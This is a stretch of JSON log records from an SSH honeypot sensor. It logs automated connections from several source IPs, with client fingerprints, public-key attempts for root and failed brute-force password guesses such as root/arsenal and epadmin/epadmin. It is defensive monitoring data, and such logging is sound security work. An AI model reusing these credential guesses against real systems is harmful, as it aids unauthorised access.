{"eventid":"cowrie.login.failed","username":"root","password":"arsenal","message":"login attempt [root/arsenal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:31.450304Z","src_ip":"72.17.34.38","session":"6284cccb426f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:32.489269Z","src_ip":"72.17.34.38","session":"6284cccb426f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":42552,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c3892bd5687","protocol":"ssh","message":"New connection: 43.135.182.46:42552 (159.203.135.109:22) [session: 4c3892bd5687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:35.807175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:35.812507Z","src_ip":"43.135.182.46","session":"4c3892bd5687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:35.881908Z","src_ip":"43.135.182.46","session":"4c3892bd5687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arsenal","message":"login attempt [root/arsenal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:36.191055Z","src_ip":"43.135.182.46","session":"4c3892bd5687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:37.264673Z","src_ip":"43.135.182.46","session":"4c3892bd5687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.215","src_port":58682,"dst_ip":"10.17.0.5","dst_port":22,"session":"2000ff464970","protocol":"ssh","message":"New connection: 96.127.172.215:58682 (10.17.0.5:22) [session: 2000ff464970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:41.980350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:41.985550Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.018356Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:df:6e:d1:37:5d:0b:3d:99:3c:95:ed:38:66:bd:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUxhw93YDK6dWdqUVaiaktlx0V26pVUlFeVFwpqHOkA0U20vV2KX6ouymE6+Zu3OmUGQePnoN5jxou+ntYA5e4fw7TRhYVi9S8AysCoMwIC9oFM7VLUm9t+WyRHp8B45UR3WsgSMWA6NfxtbEthXM45NMmN8un0lYfzg/gYWhIdUUG6FXS7blaqObDTQaA5IIPYrXoUP85YNljqOXaXnBl9u9PTXgKvOZRpy3X40PwKppOHcopXjww+i75+3HJXH+6ZK4NwwbWOee0t4WXyYNSQptbPFkbpYiz+HEs380Nv4Oer9yZraAzf/7cbEdteyFQt/BkSEvLRglwJcRegdsH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:df:6e:d1:37:5d:0b:3d:99:3c:95:ed:38:66:bd:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.138096Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:df:6e:d1:37:5d:0b:3d:99:3c:95:ed:38:66:bd:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUxhw93YDK6dWdqUVaiaktlx0V26pVUlFeVFwpqHOkA0U20vV2KX6ouymE6+Zu3OmUGQePnoN5jxou+ntYA5e4fw7TRhYVi9S8AysCoMwIC9oFM7VLUm9t+WyRHp8B45UR3WsgSMWA6NfxtbEthXM45NMmN8un0lYfzg/gYWhIdUUG6FXS7blaqObDTQaA5IIPYrXoUP85YNljqOXaXnBl9u9PTXgKvOZRpy3X40PwKppOHcopXjww+i75+3HJXH+6ZK4NwwbWOee0t4WXyYNSQptbPFkbpYiz+HEs380Nv4Oer9yZraAzf/7cbEdteyFQt/BkSEvLRglwJcRegdsH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.143965Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:89:d0:35:6d:bf:cd:83:fb:76:0d:70:1c:e4:d6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYs7/zEVhre28R3uQ5D1Q1Dz3UMXw5NU7NZ4MW2x/kLZqs5WvnqtzGLp5C81LylsHIOSSpZJqrTCK4hvlYTf3f3paKc339dHhkL95sG2rs5gF8WlLK7mFqXNKiDHkpWpH7YNGXQ+MitsGgf/I59xOzBJGMwPI6haCC+IU1wP67W2Qb/KZ5hVikIBofW4JLuJ51aljuaCSp+pNlb8lHJd1K5G1c0xA93WQW9c0b/xb1IN3hHibHNNiOaOXtudXYK9VmpTPyhY5iv/vz1hsKSBgtYYhB9OpR0gzSKZjw/LiiIqnkik8x08MNZa/QxYoMiDT7VKJkHDitLn/+dtMrcC5n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:89:d0:35:6d:bf:cd:83:fb:76:0d:70:1c:e4:d6:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.173842Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:89:d0:35:6d:bf:cd:83:fb:76:0d:70:1c:e4:d6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYs7/zEVhre28R3uQ5D1Q1Dz3UMXw5NU7NZ4MW2x/kLZqs5WvnqtzGLp5C81LylsHIOSSpZJqrTCK4hvlYTf3f3paKc339dHhkL95sG2rs5gF8WlLK7mFqXNKiDHkpWpH7YNGXQ+MitsGgf/I59xOzBJGMwPI6haCC+IU1wP67W2Qb/KZ5hVikIBofW4JLuJ51aljuaCSp+pNlb8lHJd1K5G1c0xA93WQW9c0b/xb1IN3hHibHNNiOaOXtudXYK9VmpTPyhY5iv/vz1hsKSBgtYYhB9OpR0gzSKZjw/LiiIqnkik8x08MNZa/QxYoMiDT7VKJkHDitLn/+dtMrcC5n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.177974Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:f7:03:4a:30:a5:a0:6d:a2:68:d3:3a:86:ba:b9:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyVLsFfdLnTjvWrqw+Xs7V6G0bSq+O3xWr+agkBJZ456wVObx7yZwPaTWuS5KMBSWVQAPvhOUIVi9PVGk/DlDLAR94IoV6mnf/LrZML8T597ieG6Qn83aw9uBR+swRe9lAjGdbbM/Gj4UDFgrL5CVfL49mD6edP9ZKyhPhNlynR8o02QhJ2uS8RGthCZmoexubJfhiWVGvrrXKhsjWDa/qCzRjRhLh2RtXw/WfpdNHYywGICMPxw0V3FubT+Nrlm0/E6V3ZcrWWM4DnAFaiV4gTPxFNu/lUic+UeeyVEqIJFhEbVZquyX1B+iTksSgPR0Wuqdofw6o5HCwaR+2/rGGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:f7:03:4a:30:a5:a0:6d:a2:68:d3:3a:86:ba:b9:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.213410Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:f7:03:4a:30:a5:a0:6d:a2:68:d3:3a:86:ba:b9:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyVLsFfdLnTjvWrqw+Xs7V6G0bSq+O3xWr+agkBJZ456wVObx7yZwPaTWuS5KMBSWVQAPvhOUIVi9PVGk/DlDLAR94IoV6mnf/LrZML8T597ieG6Qn83aw9uBR+swRe9lAjGdbbM/Gj4UDFgrL5CVfL49mD6edP9ZKyhPhNlynR8o02QhJ2uS8RGthCZmoexubJfhiWVGvrrXKhsjWDa/qCzRjRhLh2RtXw/WfpdNHYywGICMPxw0V3FubT+Nrlm0/E6V3ZcrWWM4DnAFaiV4gTPxFNu/lUic+UeeyVEqIJFhEbVZquyX1B+iTksSgPR0Wuqdofw6o5HCwaR+2/rGGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.217920Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:b4:82:c2:3d:d6:25:89:b2:6a:4d:1d:e3:88:fa:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJT1gq76iiJUcAGijLwqAVMV254N5YgMJf9ZYFVSPEyn","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5e:b4:82:c2:3d:d6:25:89:b2:6a:4d:1d:e3:88:fa:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.248560Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:b4:82:c2:3d:d6:25:89:b2:6a:4d:1d:e3:88:fa:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJT1gq76iiJUcAGijLwqAVMV254N5YgMJf9ZYFVSPEyn","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.252541Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:25:4e:ed:b5:f6:21:8c:06:db:77:a1:79:de:c9:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjqPbYx34oD/u/ziVDB3M/seA5CdXuKpy+4apfuImAhfi/MXVE4rpbsqrTXqC+Hg7I/eJ2ONyhX7+hgYP5JzvV1fLCUygw7Q6V0/mUYgKo/iaTRvRMEi3HRsW2JyfhbKQ5Esc1mscxDLeBIAETIjs6t7kQe63Sw84LvekR0L+roB22IZsohx0Cy402oVWt3Qma32yg8F9Nv/FOYwHxt3nToOFY/MqMPD++P6HMw8N57wAhd2psMSMaybKHX0/koast+QgwLc6sKEY/qAqf40aVlGtRXfqUUr265y7hqRqpb94DsFhSGxdU/WkbRAoWVu25ic8GbTQcCGBB4XmW8ToD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:25:4e:ed:b5:f6:21:8c:06:db:77:a1:79:de:c9:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.283647Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:25:4e:ed:b5:f6:21:8c:06:db:77:a1:79:de:c9:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjqPbYx34oD/u/ziVDB3M/seA5CdXuKpy+4apfuImAhfi/MXVE4rpbsqrTXqC+Hg7I/eJ2ONyhX7+hgYP5JzvV1fLCUygw7Q6V0/mUYgKo/iaTRvRMEi3HRsW2JyfhbKQ5Esc1mscxDLeBIAETIjs6t7kQe63Sw84LvekR0L+roB22IZsohx0Cy402oVWt3Qma32yg8F9Nv/FOYwHxt3nToOFY/MqMPD++P6HMw8N57wAhd2psMSMaybKHX0/koast+QgwLc6sKEY/qAqf40aVlGtRXfqUUr265y7hqRqpb94DsFhSGxdU/WkbRAoWVu25ic8GbTQcCGBB4XmW8ToD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.287896Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:42.318810Z","src_ip":"96.127.172.215","session":"2000ff464970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":55468,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ecfcb5e062e","protocol":"ssh","message":"New connection: 202.79.29.108:55468 (159.203.135.109:22) [session: 4ecfcb5e062e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:43.341574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:43.349914Z","src_ip":"202.79.29.108","session":"4ecfcb5e062e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:43.619983Z","src_ip":"202.79.29.108","session":"4ecfcb5e062e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:44.707979Z","src_ip":"202.79.29.108","session":"4ecfcb5e062e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:45.975231Z","src_ip":"202.79.29.108","session":"4ecfcb5e062e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":57240,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c13a8dedab3","protocol":"ssh","message":"New connection: 43.130.31.151:57240 (159.203.135.109:22) [session: 8c13a8dedab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:46.524621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:46.529717Z","src_ip":"43.130.31.151","session":"8c13a8dedab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:46.602377Z","src_ip":"43.130.31.151","session":"8c13a8dedab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paris","message":"login attempt [root/paris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:46.912610Z","src_ip":"43.130.31.151","session":"8c13a8dedab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:48:47.985339Z","src_ip":"43.130.31.151","session":"8c13a8dedab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":37534,"dst_ip":"159.203.135.109","dst_port":22,"session":"9419d0b742d4","protocol":"ssh","message":"New connection: 209.99.184.143:37534 (159.203.135.109:22) [session: 9419d0b742d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:14.736576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:14.746724Z","src_ip":"209.99.184.143","session":"9419d0b742d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:14.842685Z","src_ip":"209.99.184.143","session":"9419d0b742d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epadmin","password":"epadmin","message":"login attempt [epadmin/epadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:15.246535Z","src_ip":"209.99.184.143","session":"9419d0b742d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:16.342376Z","src_ip":"209.99.184.143","session":"9419d0b742d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.205.17.26","src_port":3200,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c0531545ada","protocol":"ssh","message":"New connection: 103.205.17.26:3200 (10.17.0.5:22) [session: 4c0531545ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:21.600780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:49:21.607020Z","src_ip":"103.205.17.26","session":"4c0531545ada","protocol":"ssh"}
